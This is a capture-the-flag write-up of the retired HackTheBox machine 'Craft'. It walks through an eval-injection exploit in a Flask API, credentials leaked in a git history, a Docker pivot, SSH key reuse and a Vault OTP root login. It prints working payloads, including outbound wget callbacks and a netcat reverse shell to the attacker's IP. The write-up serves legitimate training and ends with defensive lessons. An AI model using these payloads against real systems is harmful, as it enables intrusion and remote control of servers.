Craft
This is a write-up of a HackTheBox machine named Craft.
Disclaimer: the machine went available on 13.06.2019 and retired around January 5th 2020.
Enumeration
First thing was to discover open ports on the server:
root@kali:~# nmap 10.10.10.110 -p 0-49999
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-13 15:10 EDT
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.056s latency).
Not shown: 49997 closed ports
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6022/tcp open x11
Nmap done: 1 IP address (1 host up) scanned in 63.54 seconds
I usually scan more than just default nmap’s most popular ports and this time it gave me 6022
open. It appeared to be another SSH open port, but seemed to accept only clients using private-public keys, so I left it for now.
Web check
So let’s explore that usual 443
port. In the browser I had to type https://10.10.10.110
which gave me an alert about self-signed certificate of the website owner. The certificate was issued to craft.htb
. Continuing, site below has appeared:
The site itself doesn’t contain any CTF-content, like hidden HTML, minified JS files or anything like that. But there are 2 interesting links at the top right: to self-hosted git repository using Gogs and to API documentation built with Swagger.
DNS and hostnames
I accessed main website at https://10.10.10.110
. Links to Gogs and API were https://gogs.craft.htb
and https://api.craft.htb/api
respectively. They all pointed to the same IP address, so I had to switch from IP-based name to “real” hostnames. My default settings didn’t resolve https://craft.htb
nor any of above hostnames after setting primary DNS server to HTB’s default gateway. So I just entered the following in my /etc/hosts
file:
10.10.10.110 craft.htb
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
and was ready to access API and Gogs repo.
Gogs
First I checked the code, to see what do I deal with. It was a Python API written in Flask framework, using MySQL database. It has one issue open (plus 1 closed, but nothing interesting inside), which caught my most attention:
Dinesh found out there was no verification of input values when using API. He was proposed to do a fix himself, which he did in a commit:
Not sure if you can call this a “fix”, but good for me. Python’s eval
function using straight user input, no verification. The API endpoint is decorated with @auth.auth_required
function though, and looking at the code of auth mechanism, there is no other way than to normally authenticate, with login and password.
API
Authentication
First thought: use token that Dinesh pasted in git issue. Using a routing from an API documentation, it is possible to check validity of a token. You do it this way:
curl -H 'X-Craft-Api-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k https://api.craft.htb/api/auth/check
using additional -k
flag to skip certificate checking, but the API returns:
{"message": "Invalid token or no token found."}
Second thought: commits history.
This one looks good. Let’s check inside:
Nice. Dinesh must have had a bad day. Those credentials allowed me to authenticate using Swagger API docs, where I got a new token. This time doing curl
with the token, API returned:
{"message":"Token is valid!"}
I’m not sure if there was a time-validity of the token or it was expiring when too many users authenticated, but it was happening really often. I was using curl
mostly in this task, so I wrote a script that was requesting new token, extracting it from response and setting as environment variable in my bash. Then I was appending the token using variable substitution to my curl
requests. Code below:
# login.sh file:
token=$(curl -s -k -X GET -H 'Authorization: Basic ZGluZXNoOjRhVWgwQThQYlZKeGdk' https://api.craft.htb/api/auth/login | tac | tac | jq -r '.token')
echo $token
export CRAFT_TOKEN='X-Craft-Api-Token: '$token
# .bashrc file:
alias craft='source ~/login.sh'
and from here I could forget about annoying token invalidation, using just:
root@kali:~# craft
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTYzMTA5MjI5fQ.QBPUbuTPUwb8vgdnY-eLBr1QFROmTwvw5NT7FN8FX6A
root@kali:~# curl -H "$CRAFT_TOKEN" -H "Content-Type: application/json" https:// ...
Exploitation
Now let’s get back to the eval
vulnerability found earlier. It can only be triggered with a following JSON request body:
{
"name":"test",
"brewer":"test",
"style": "test",
"abv": "evil content here"
}
Now, it doesn’t matter whether eval("%s > 1")
will finally evaluate to True. We don’t need to insert anything malicious into the database (as per git issue, it is probably fixed anyway), it’s enough to just execute some function. How to check if it actually works?
My first try was to use some request bin - force eval
to execute HTTP request to an address I control and check if the request has reached the target. This would mean my base payload works correctly. In JSON payload above I typed this:
"__import__('urllib2').urlopen('https://asdf.requestcatcher.com/test')"
This evaluates to
eval("__import__('urllib2').urlopen('https://asdf.requestcatcher.com/test') > 1")
which is false, but we don’t care - the request was sent and I can confirm it on my request bin. Later on I found some requests are sent to the remote and some not, so expecting external connectivity issues I just set up my own simple HTTP server and substitute the url as http://10.10.15.xxx
(my IP assigned by the VPN). Works great, but remember not to run this on your everyday computer, start up a VM to do this kind of things, because now everyone inside this network (basically most HTB users) can query your server.
But using urllib
from inside Python is rather useless, I’d like to do some OS actions. I did:
eval("__import__('os').system('curl 10.10.15.xxx')")
No luck, no sign of a request in the bin. Maybe there is no curl
? How about this:
eval("__import__('os').system('wget --post-data=123 10.10.15.xxx')")
This works! We have wget
available and I see the request, so outgoing communication to my host isn’t restricted. I did --post-data
, so wget
runs POST requests instead of GET and doesn’t create useless trash files from getting content of my 10.10.15.xxx server (this could alsobe accomplished with redirecting the output to /dev/null
, but whatever). Ok, let’s setup reverse shell and explore the filesystem. Thanks to this cool blog post (this guy has more good content) I created a shell and upgraded it to more user-friendly form, first running nc -lvp 9393
on my machine, then sending this payload:
{
"name":"test",
"brewer":"test",
"style": "test",
"abv": "__import__('os').system('nc 10.10.15.xxx 9393 -e /bin/sh')"
}
and finally upgrading the shell with python -c 'import pty; pty.spawn("/bin/ash")'
(yes, there was no bash on the host). But searching and grepping, I couldn’t find nothing spectacular and none of the flag files at all (those should be “user.txt” in user home dir and “root.txt” in root’s dir). There was even no user’s home dir and root’s dir was empty except for .cache
and .ash_history
. Trying to execute whoami
returned “root”. I even tried to change root’s password using echo \"root:asdf\" | chpasswd
, so I could ssh
into it, but ssh
wouldn’t let me in. I used find / -iname *.txt
to check if flags are somewhere else, but nope. So I started to search using ls -a
, starting from /
dir. Except from usual folders in there, there was an empty file called .dockerenv
. And then I realized: it all makes sense - I’m inside Docker container. Maybe the task is to jump out of the container to host fs?
More creds, host server and user flag
Now recall there was a MySQL DB attached to the Flask app. I opened up Python script for database testing and adjusted it a bit. Somehow system couldn’t resolve Docker “db” hostname to the database address, so using arp -a
command I found IP of the container in Docker network:
craft_repo_1.craft_default (172.20.0.5) at 02:42:ac:14:00:05 [ether] on eth0
craft_home_1.craft_default (172.20.0.3) at 02:42:ac:14:00:03 [ether] on eth0
craft_proxy_1.craft_default (172.20.0.7) at 02:42:ac:14:00:07 [ether] on eth0
craft_db_1.craft_default (172.20.0.4) at 02:42:ac:14:00:04 [ether] on eth0
substituting host to 172.20.0.4, username to “craft” and SQL query to "select * from users"
made it, Python printed:
{'id': 1, 'username': 'dinesh', 'password': '<redacted: plaintext password was here>'}
{'id': 4, 'username': 'ebachman', 'password': '<redacted: plaintext password was here>'}
{'id': 5, 'username': 'gilfoyle', 'password': '<redacted: plaintext password was here>'}
Great, more creds. First I tried using all of them to log in with ssh to 10.10.10.110, with no luck. Then I remembered gilfoyle had some commits on the repo, so maybe he has an account too?
sure he has, miserable password reuser. This repo contained Docker Compose code for an entire app along with DB, Nginx, and (what I didn’t know before) - Vault, an application for storing secrets. And another folder, called .ssh
, and yes, there was a private and public key of gilfoyle.
I copied content of both to ~/.ssh/id_hack and id_hack.pub on my machine and ran:
root@kali:~/.ssh# ssh -i /root/.ssh/id_hack gilfoyle@10.10.10.110
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key '/root/.ssh/id_hack':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$
this greeted my with an SSH passphrase prompt. I wasn’t surprised seeing that he reused again the same password. At this time I was in home folder on the application host server and had the user flag.
Pwning root
gilfoyle@craft:~$ ls /root
ls: cannot open directory '/root': Permission denied
This was expected. But since Docker is installed on the machine, maybe someone conveniently added docker user to sudo group? Well, no. First of all there is no sudo
on this machine, and if there was one, trying to run Docker mounting root fs to the container didn’t work:
gilfoyle@craft:~$ docker run -v /:/somedir -it chrisfosterelli/rootplease
docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http:/
/%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.
See 'docker run --help'.
Previously in repo there was Vault config. Maybe Vault stores some root password and I have access there or something? This was “secrets.sh” script from “vault” folder in repo, that caught my attention:
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
I don’t have much experience with Vault, but this is a command that specifies SSH access to the machine using one-time passwords. Well, let’s try to use it with helpful documentation:
gilfoyle@craft:~$ vault ssh -role root_otp -mode otp -strict-host-key-checking=no root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 33236d87-b04e-c565-40f7-30dda3e266ef
The prompt asked to retype OTP password and just let me in. I got logged into the machine as root and typed the long awaited command:
cat root.txt
Summary - what went wrong
Many thanks to user @rotarydrone for creating this machine. I think it shows real-life examples of what you should not do, but what happens often:
- not validating user input (
eval
function) - valid credentials in commit history (at least change your password if it’s leaked)
- password reuse
- valid private and public key in repo
- plaintext passwords in the database
- improper authorization of secret storing mechanisms
- no monitoring of connections to/from the machine